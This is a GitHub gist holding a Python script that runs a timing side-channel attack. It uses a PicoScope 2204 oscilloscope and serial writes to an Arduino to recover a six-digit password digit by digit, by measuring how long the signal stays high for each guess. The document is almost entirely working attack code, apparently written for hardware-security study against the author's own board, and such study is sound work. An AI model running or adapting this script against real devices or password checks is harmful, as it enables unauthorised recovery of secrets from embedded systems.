Skip to content

Instantly share code, notes, and snippets.

@MariaRigaki
Created July 29, 2019 08:06
Show Gist options
  • Select an option

  • Save MariaRigaki/2d65a8a569cced23272beb7962d6654d to your computer and use it in GitHub Desktop.

Select an option

Save MariaRigaki/2d65a8a569cced23272beb7962d6654d to your computer and use it in GitHub Desktop.
Timing attack using the picoscope 2204 SDK and arduino
import ctypes
import numpy as np
from picosdk.ps2000 import ps2000 as ps
import matplotlib.pyplot as plt
from picosdk.functions import adc2mV, assert_pico2000_ok
import serial
import time
ser = serial.Serial('/dev/ttyACM0')
ser.baudrate = 9600
# Create status ready for use
status = dict()
# Open 2000 series PicoScope
# Returns handle to chandle for use in future API functions
status["openUnit"] = ps.ps2000_open_unit()
assert_pico2000_ok(status["openUnit"])
# Create chandle for use
chandle = ctypes.c_int16(status["openUnit"])
# Set up channel A
# handle = chandle
# channel = PS2000_CHANNEL_A = 0
# enabled = 1
# coupling type = PS2000_DC = 1
# range = PS2000_2V = 7
# analogue offset = 0 V
chARange = 7
status["setChA"] = ps.ps2000_set_channel(chandle, 0, 1, 1, chARange)
assert_pico2000_ok(status["setChA"])
# Set up single trigger
# handle = chandle
# source = PS2000_CHANNEL_A = 0
# threshold = 1024 ADC counts
# direction = PS2000_RISING = 0
# delay = 0 s
# auto Trigger = 1000 ms
status["trigger"] = ps.ps2000_set_trigger(chandle, 0, 4000, 0, 0, 1000)
assert_pico2000_ok(status["trigger"])
# Set number of pre and post trigger samples to be collected
preTriggerSamples = 150
postTriggerSamples = 150
maxSamples = preTriggerSamples + postTriggerSamples
# Get timebase information
# handle = chandle
# timebase = 8 = timebase
# no_of_samples = maxSamples
# pointer to time_interval = ctypes.byref(timeInterval)
# pointer to time_units = ctypes.byref(timeUnits)
# oversample = 1 = oversample
# pointer to max_samples = ctypes.byref(maxSamplesReturn)
timebase = 3
timeInterval = ctypes.c_int32()
timeUnits = ctypes.c_int32()
oversample = ctypes.c_int16(1)
maxSamplesReturn = ctypes.c_int32()
status["getTimebase"] = ps.ps2000_get_timebase(chandle, timebase, maxSamples, ctypes.byref(timeInterval), ctypes.byref(timeUnits), oversample, ctypes.byref(maxSamplesReturn))
assert_pico2000_ok(status["getTimebase"])
NUM_DIGITS = 6
base = ''
max_digit = '0'
max_window = 0
for i in range(NUM_DIGITS):
for c in '0123456789':
# Run block capture
# handle = chandle
# no_of_samples = maxSamples
# timebase = timebase
# oversample = oversample
# pointer to time_indisposed_ms = ctypes.byref(timeIndisposedms)
timeIndisposedms = ctypes.c_int32()
status["runBlock"] = ps.ps2000_run_block(chandle, maxSamples, timebase, 1, ctypes.byref(timeIndisposedms))
assert_pico2000_ok(status["runBlock"])
# Check for data collection to finish using ps2000_ready
ready = ctypes.c_int16(0)
check = ctypes.c_int16(0)
while ready.value == check.value:
status["isReady"] = ps.ps2000_ready(chandle)
ser.write(bytes(base, 'utf-8') + bytes(c, 'utf-8') )
ready = ctypes.c_int16(status["isReady"])
# Create buffer to hold the data
bufferA = (ctypes.c_int16 * maxSamples)()
# Get data from scope
# handle = chandle
# pointer to buffer_a = ctypes.byref(bufferA)
# pointer to buffer_b = ctypes.byref(bufferB)
# poiner to overflow = ctypes.byref(oversample)
# no_of_values = cmaxSamples
cmaxSamples = ctypes.c_int32(maxSamples)
status["getValues"] = ps.ps2000_get_values(chandle, ctypes.byref(bufferA), None, None, None, ctypes.byref(oversample), cmaxSamples)
assert_pico2000_ok(status["getValues"])
# find maximum ADC count value
maxADC = ctypes.c_int16(32767)
# convert ADC counts data to mV
adc2mVChA = adc2mV(bufferA, chARange, maxADC)
# The correct digit is the one with the longer time window
temp = len(np.where(np.array(adc2mVChA) >= 490)[0])
if temp > max_window:
max_window = temp
max_digit = c
time.sleep(0.5)
print("Digit {} is {}.".format(i+1, max_digit))
base += max_digit
max_digit = '0'
max_window = 0
print("The password is {}!".format(base))
# Close the serial connection
ser.close()
# Stop the scope
# handle = chandle
ps.ps2000_stop(chandle)
# Close unitDisconnect the scope
# handle = chandle
ps.ps2000_close_unit(chandle)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment